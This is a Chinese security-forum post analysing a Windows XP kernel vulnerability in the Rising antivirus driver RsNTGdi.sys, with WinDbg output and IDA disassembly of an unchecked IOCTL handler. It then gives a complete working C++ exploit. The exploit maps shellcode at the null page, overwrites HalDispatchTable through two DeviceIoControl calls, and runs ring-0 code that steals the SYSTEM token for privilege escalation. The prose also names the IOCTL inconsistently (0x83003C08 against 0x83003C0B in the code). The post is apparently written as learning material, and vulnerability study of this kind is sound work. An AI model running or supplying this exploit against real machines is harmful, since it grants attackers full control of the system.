首页
论坛
课程
招聘
[原创]初学Windows内核漏洞之瑞星RsNTGdi.sys
2021-11-4 21:07 7397

[原创]初学Windows内核漏洞之瑞星RsNTGdi.sys

2021-11-4 21:07
7397

一.前言

该漏洞存在于瑞星的RsNTGdi.sys驱动中,通过该漏洞可以实现任意地址写任意数据。

参考资料

《0day安全:软件漏洞分析技术》

操作系统Win XP SP3
实现工具WinDbg,IDA Pro,VS2017

二.漏洞分析

1.WinDbg

首先使用WinDbg查看该驱动装载到内存中的情况

kd> lm
start    end        module name
804d8000 806e6000   nt         (pdb symbols)          d:\xpsymbols\ntkrpamp.pdb\7075F995A48A414F8F7BE9A1E0240F821\ntkrpamp.pdb
806e6000 80706d00   hal        (deferred)             
b233d000 b233fa00   vmmemctl   (deferred)             
b24a1000 b24b8900   dump_atapi   (deferred)
            .........
f8b0e000 f8b0ed00   RsNTGdi    (deferred)             
f8b7e000 f8b7ed00   dxgthk     (deferred)

可以看到RsNTGdi驱动装载到内存地址为0xF8B0E000到0xF8B0ED00中。接着在看一下分发函数的情况

kd> !drvobj RsNTGdi 2
Driver object (81dd5030) is for:
*** ERROR: Module load completed but symbols could not be loaded for RsNTGdi.sys
 \Driver\RsNTGdi
DriverEntry:   f8b0e580	RsNTGdi
DriverStartIo: 00000000	
DriverUnload:  f8b0e50a	RsNTGdi
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      f8b0e2a0	RsNTGdi+0x2a0
[01] IRP_MJ_CREATE_NAMED_PIPE           804f55ce	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f8b0e2a0	RsNTGdi+0x2a0
[03] IRP_MJ_READ                        804f55ce	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       804f55ce	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           804f55ce	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             804f55ce	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804f55ce	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f55ce	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               804f55ce	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804f55ce	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f55ce	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804f55ce	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804f55ce	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f8b0e36e	RsNTGdi+0x36e
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804f55ce	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    804f55ce	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                804f55ce	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     804f55ce	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             804f55ce	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              804f55ce	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                804f55ce	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       804f55ce	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              804f55ce	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               804f55ce	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f55ce	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f55ce	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         804f55ce	nt!IopInvalidDeviceRequest

可以看到DriverEntry的函数地址是0xF8B0E580,根据装载的内存地址0xF8B0E000可以知道,DriverEntry函数的偏移大小是0x580。而IRP_MJ_DEVICE_CONTROL的分发函数地址的偏移是0x36E。

2.IDA Pro

在DriverEntry中,程序创建了设备对象和符号链接,同时也为分发函数进行赋值。从程序的注释中可以知道,符号名是RSNTGDI,我们就可以通过这个符号名来与驱动进行通信。

.text:00010580 ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
.text:00010580                 public DriverEntry
.text:00010580 DriverEntry     proc near               ; DATA XREF: HEADER:000100F0↑o
.text:00010580
.text:00010580 SymbolicLinkName= _UNICODE_STRING ptr -10h
.text:00010580 DestinationString= _UNICODE_STRING ptr -8
.text:00010580 DriverObject    = dword ptr  8
.text:00010580 RegistryPath    = dword ptr  0Ch
.text:00010580
.text:00010580                 push    ebp
.text:00010581                 mov     ebp, esp
.text:00010583                 sub     esp, 10h
.text:00010586                 push    esi
.text:00010587                 mov     esi, [ebp+DriverObject] ; 将驱动对象保存在esi中
.text:0001058A                 push    edi
.text:0001058B                 mov     edi, ds:RtlInitUnicodeString
.text:00010591                 lea     eax, [ebp+DestinationString]
.text:00010594                 push    offset aDeviceRsntgdi ; "\\Device\\RSNTGDI"
.text:00010599                 push    eax             ; DestinationString
.text:0001059A                 mov     [esi+DRIVER_OBJECT.DriverUnload], offset DriverUnload
.text:000105A1                 call    edi ; RtlInitUnicodeString
.text:000105A3                 lea     eax, [ebp+DriverObject]
.text:000105A6                 push    eax             ; DeviceObject
.text:000105A7                 push    0               ; Exclusive
.text:000105A9                 push    0               ; DeviceCharacteristics
.text:000105AB                 lea     eax, [ebp+DestinationString]
.text:000105AE                 push    8300h           ; DeviceType
.text:000105B3                 push    eax             ; DeviceName
.text:000105B4                 push    0               ; DeviceExtensionSize
.text:000105B6                 push    esi             ; DriverObject
.text:000105B7                 call    ds:IoCreateDevice ; 创建设备对象,此时esi保存的是驱动对象地址
.text:000105BD                 test    eax, eax
.text:000105BF                 jl      short loc_105FD
.text:000105C1                 mov     eax, offset DispatchCommon
.text:000105C6                 push    offset aDosdevicesRsnt ; "\\DosDevices\\RSNTGDI"
.text:000105CB                 mov     [esi+38h], eax
.text:000105CE                 mov     [esi+40h], eax
.text:000105D1                 lea     eax, [ebp+SymbolicLinkName]
.text:000105D4                 mov     dword ptr [esi+70h], offset DispatchIoCtrl
.text:000105DB                 push    eax             ; DestinationString
.text:000105DC                 call    edi ; RtlInitUnicodeString
.text:000105DE                 lea     eax, [ebp+DestinationString]
.text:000105E1                 push    eax             ; DeviceName
.text:000105E2                 lea     eax, [ebp+SymbolicLinkName]
.text:000105E5                 push    eax             ; SymbolicLinkName
.text:000105E6                 call    ds:IoCreateSymbolicLink
.text:000105EC                 mov     edi, eax
.text:000105EE                 test    edi, edi
.text:000105F0                 jge     short loc_105FB
.text:000105F2                 push    dword ptr [esi+4] ; DeviceObject
.text:000105F5                 call    ds:IoDeleteDevice
.text:000105FB
.text:000105FB loc_105FB:                              ; CODE XREF: DriverEntry+70↑j
.text:000105FB                 mov     eax, edi
.text:000105FD
.text:000105FD loc_105FD:                              ; CODE XREF: DriverEntry+3F↑j
.text:000105FD                 pop     edi
.text:000105FE                 pop     esi
.text:000105FF                 leave
.text:00010600                 retn    8
.text:00010600 DriverEntry     endp

而在DispatchIoCtrl中,程序首先将几个关键的字段保存在几个寄存器中。

.text:0001036E ; int __stdcall DispatchIoCtrl(int, PIRP Irp)
.text:0001036E DispatchIoCtrl  proc near               ; DATA XREF: DriverEntry+54↓o
.text:0001036E
.text:0001036E var_4           = dword ptr -4
.text:0001036E Irp             = dword ptr  0Ch
.text:0001036E
.text:0001036E                 push    ebp
.text:0001036F                 mov     ebp, esp
.text:00010371                 push    ecx
.text:00010372                 push    ebx
.text:00010373                 push    esi
.text:00010374                 mov     esi, [ebp+Irp]
.text:00010377                 and     [ebp+var_4], 0
.text:0001037B                 push    edi
.text:0001037C                 mov     ecx, [esi+60h]  ; 将CurrentStackLocation的地址赋给ecx
.text:0001037F                 and     [esi+_IRP.IoStatus.Information], 0
.text:00010383                 mov     edi, [esi+_IRP.UserBuffer]
.text:00010386                 mov     eax, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer]
.text:00010389                 mov     edx, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:0001038C                 mov     ebx, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength]

此时经过赋值,这几个寄存器保存的内容如下

寄存器保存内容
edi输出缓冲区地址
eax输入缓冲区地址
edx输入缓冲区长度
ebx输出缓冲区长度

随后取出IOCTL,在根据IOCTL来决定要执行的代码,如果传入的IOCTL不符合要求,就会跳转到函数的结束位置运行。

.text:00010392                 cmp     ecx, 83003C03h
.text:00010398                 mov     [ebp+Irp], ebx
.text:0001039B                 jz      loc_10499
.text:000103A1                 cmp     ecx, 83003C07h
.text:000103A7                 jz      loc_10472
.text:000103AD                 cmp     ecx, 83003C0Bh
.text:000103B3                 jz      loc_10458
.text:000103B9                 cmp     ecx, 83003C0Fh
.text:000103BF                 jz      short loc_10432
.text:000103C1                 cmp     ecx, 83003C13h
.text:000103C7                 jz      short loc_1040C
.text:000103C9                 cmp     ecx, 83003C17h
.text:000103CF                 jz      short loc_103DD
.text:000103D1                 mov     [ebp+var_4], STATUS_INVALID_PARAMETER
.text:000103D8                 jmp     loc_104C3
                。。。
.text:000104C3 loc_104C3:                              ; CODE XREF: DispatchIoCtrl+6A↑j
.text:000104C3                                         ; DispatchIoCtrl+72↑j ...
.text:000104C3                 mov     edi, [ebp+var_4]
.text:000104C6                 mov     eax, [ebp+Irp]
.text:000104C9                 xor     dl, dl          ; PriorityBoost
.text:000104CB                 mov     ecx, esi        ; Irp
.text:000104CD                 mov     [esi+_IRP.IoStatus.anonymous_0.Status], edi
.text:000104D0                 mov     [esi+_IRP.IoStatus.Information], eax
.text:000104D3                 call    ds:IofCompleteRequest
.text:000104D9                 mov     eax, edi
.text:000104DB                 pop     edi
.text:000104DC                 pop     esi
.text:000104DD                 pop     ebx
.text:000104DE                 leave
.text:000104DF                 retn    8
.text:000104DF DispatchIoCtrl  endp

而要运行有漏洞的代码,IOCTL就需要是0x83003C0B,也就是说要运行的代码是loc_10458。且根据这个IOCTL的最后两位是11(0x3)可以知道,这个使用这个IOCTL的时候,用户层和驱动层的通信方式是METHOD_NEITHER

接下来继续看loc_10458的代码,根据最开始的初始化以后各个寄存器所保存的内容可以知道。函数首先判断输入缓冲区的长度以及IRP的地址是否小于4,如果小于4则函数退出。如果满足跳转,则将缓冲区的前4字节作为参数调用VidSetTextColor,然后将VidSetTextColor函数的返回值输入到输出缓冲区中。

.text:00010458 loc_10458:                              ; CODE XREF: DispatchIoCtrl+45↑j
.text:00010458                 push    4
.text:0001045A                 pop     ebx             ; 将ebx赋值为4
.text:0001045B                 cmp     edx, ebx        ; 判断输入缓冲区是否小于4
.text:0001045D                 jb      short loc_104C3
.text:0001045F                 cmp     [ebp+Irp], ebx  ; IRP的地址是否小于4
.text:00010462                 jb      short loc_104C3
.text:00010464                 push    dword ptr [eax] ; 将输入缓冲区前4字节的数据入栈
.text:00010466                 call    VidSetTextColor
.text:0001046B                 mov     [edi], eax      ; 将返回值赋值到输出缓冲区中
.text:0001046D                 mov     [esi+_IRP.IoStatus.Information], ebx
.text:00010470                 jmp     short loc_104C3

而VidSetTextColor函数是bootvid.dll的一个导出函数,该函数的代码如下

.text:80010C2E                 public VidSetTextColor
.text:80010C2E VidSetTextColor proc near               ; DATA XREF: .edata:off_80012728↓o
.text:80010C2E
.text:80010C2E arg_0           = dword ptr  4
.text:80010C2E
.text:80010C2E                 mov     ecx, [esp+arg_0]
.text:80010C32                 mov     eax, dword_80012648
.text:80010C37                 mov     dword_80012648, ecx
.text:80010C3D                 retn    4
.text:80010C3D VidSetTextColor endp

在这个函数中,首先将dword_80012648中保存的数据赋值到eax中,作为函数的返回值,然后将传入的参数保存到dword_80012648中。

三.漏洞利用

根据以上内容可以得知,程序没有对输入缓冲区地址,输出缓冲区地址以及输出缓冲区的长度进行合法性验证。仅仅只是要求输入缓冲区的长度要大于4,这样的话,根据程序的逻辑就可以通过两次调用IOCTL为0x83003C08来任意地址修改。

第一次调用的时候,将输入缓冲区中的内容保存到dword_80012648中。第二次调用的时候,输出缓冲区指向的就是要修改的内核地址,这样第一次调用时候保存到dword_80012648中的内容就会写入到内核地址中。

在依据0day书中内核漏洞exploitme.sys的学习记录中的内容,不难写出以下的漏洞利用代码

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\RSNTGDI"
#define IOCTL 0x83003C0B
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
#define PAGE_SIZE 0x1000
#define KERNEL_NAME_LENGTH 0X0D

void ShowError(PCHAR msg, NTSTATUS status);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);

BOOL g_bIsExecute = FALSE;

int main()
{
	NTSTATUS status = STATUS_SUCCESS;
	HANDLE hDevice = NULL;
	DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;
	PVOID ShellCodeAddress = NULL;
	PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;
	DWORD dwImageBase = 0;
	PVOID pMappedBase = NULL;
	UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };
	UNICODE_STRING uDllName;
	PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;
	DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;

	// 获得0地址的内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	status = NtAllocateVirtualMemory(NtCurrentProcess(),
									 &ShellCodeAddress,
									 0,
									 &ShellCodeSize,
									 MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
									 PAGE_EXECUTE_READWRITE);
	if (!NT_SUCCESS(status))
	{
		printf("NtAllocateVirtualMemory Error 0x%X\n", status);
		goto exit;
	}

	// 将ShellCode写到申请的0地址空间中
	RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);


	// 此时dwReturnLength是0,所以函数会由于长度为0执行失败
	// 然后系统会在第四个参数指定的地址保存需要的内存大小
	status = ZwQuerySystemInformation(SystemModuleInformation,
									  pModuleInformation,
									  dwReturnLength,
									  &dwReturnLength);

	if (status != STATUS_INFO_LENGTH_MISMATCH)
	{
		ShowError("ZwQuerySystemInformation", status);
		goto exit;
	}

	// 按页大小对齐
	dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,
																  dwReturnLength,
																  MEM_COMMIT | MEM_RESERVE,
																  PAGE_READWRITE);
	if (!pModuleInformation)
	{
		printf("VirtualAlloc Error");
		goto exit;
	}

	status = ZwQuerySystemInformation(SystemModuleInformation,
		pModuleInformation,
		dwReturnLength,
		&dwReturnLength);
	if (!NT_SUCCESS(status))
	{
		ShowError("ZwQuerySystemInformation", status);
		goto exit;
	}

	// 模块加载的基地址
	dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);

	// 获取模块名
	RtlMoveMemory(szImageName,
		(PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),
		KERNEL_NAME_LENGTH);
	// 转换为UNICODE_STRING类型
	RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);

	status = (NTSTATUS)LdrLoadDll(NULL,
		&dwDllCharacteristics,
		&uDllName,
		&pMappedBase);

	if (!NT_SUCCESS(status))
	{
		ShowError("LdrLoadDll", status);
		goto exit;
	}

	// 获取内核HalDispatchTable函数表地址
	pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");

	if (pHalDispatchTable == NULL)
	{
		printf("GetProcAddress Error\n");
		goto exit;
	}

	pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);
	pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));

	// 打开驱动设备
	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Error");
		goto exit;
	}


	DWORD dwInput = 0;
	// 与驱动设备进行第一次交互,将0保存到dword_80012648中
	if (!DeviceIoControl(hDevice,
						 IOCTL,
						 &dwInput,
						 INPUT_BUFFER_LENGTH,
						 &dwInput,
						 OUT_BUFFER_LENGTH,
						 &dwReturnLength,
						 NULL))
	{
		printf("DeviceIoControl Error");
		goto exit;
	}

	// 与驱动设备进行第二次交互,将0写入到XHalQuerySystemInformation中
	if (!DeviceIoControl(hDevice,
						 IOCTL,
						 &dwInput,
						 INPUT_BUFFER_LENGTH,
						 pXHalQuerySystemInformation,
						 OUT_BUFFER_LENGTH,
						 &dwReturnLength,
						 NULL))
	{
		printf("DeviceIoControl Error");
		goto exit;
	}

	status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryIntervalProfile", status);
		goto exit;
	}

	if (g_bIsExecute) printf("Ring0 代码执行完成\n");

exit:
	if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);
	if (hDevice) NtClose(hDevice);
	if (pMappedBase) LdrUnloadDll(pMappedBase);
	system("pause");
	return 0;
}

NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
	// 关闭页保护
	__asm
	{
		cli
		mov eax, cr0
		and eax, ~0x10000
		mov cr0, eax
	}

	__asm
	{
		// 取当前线程
		mov eax, 0xFFDFF124
		mov eax, [eax]
		// 取线程对应的EPROCESS
		mov esi, [eax + 0x220]
		mov eax, esi
		searchXp :
		mov eax, [eax + 0x88]
		sub eax, 0x88
		mov edx, [eax + 0x84]
		cmp edx, 0x4
		jne searchXp
		mov eax, [eax + 0xC8]
		mov[esi + 0xC8], eax
	}

	// 开起页保护
	__asm
	{
		mov eax, cr0
		or eax, 0x10000
		mov cr0, eax
		sti
	}

	g_bIsExecute = TRUE;
}

void ShowError(PCHAR msg, NTSTATUS status)
{
	printf("%s Error 0x%X\n", msg, status);
}


void ShowError(PCHAR msg)
{
	printf("%s Error 0x%X\n", msg, GetLastError());
}

四.运行结果

可以看到,写入到0地址的代码顺利执行,程序提权成功


【公告】 讲师招募 | 全新“预付费”模式,不想来试试吗?

最后于 2021-12-2 09:42 被1900编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回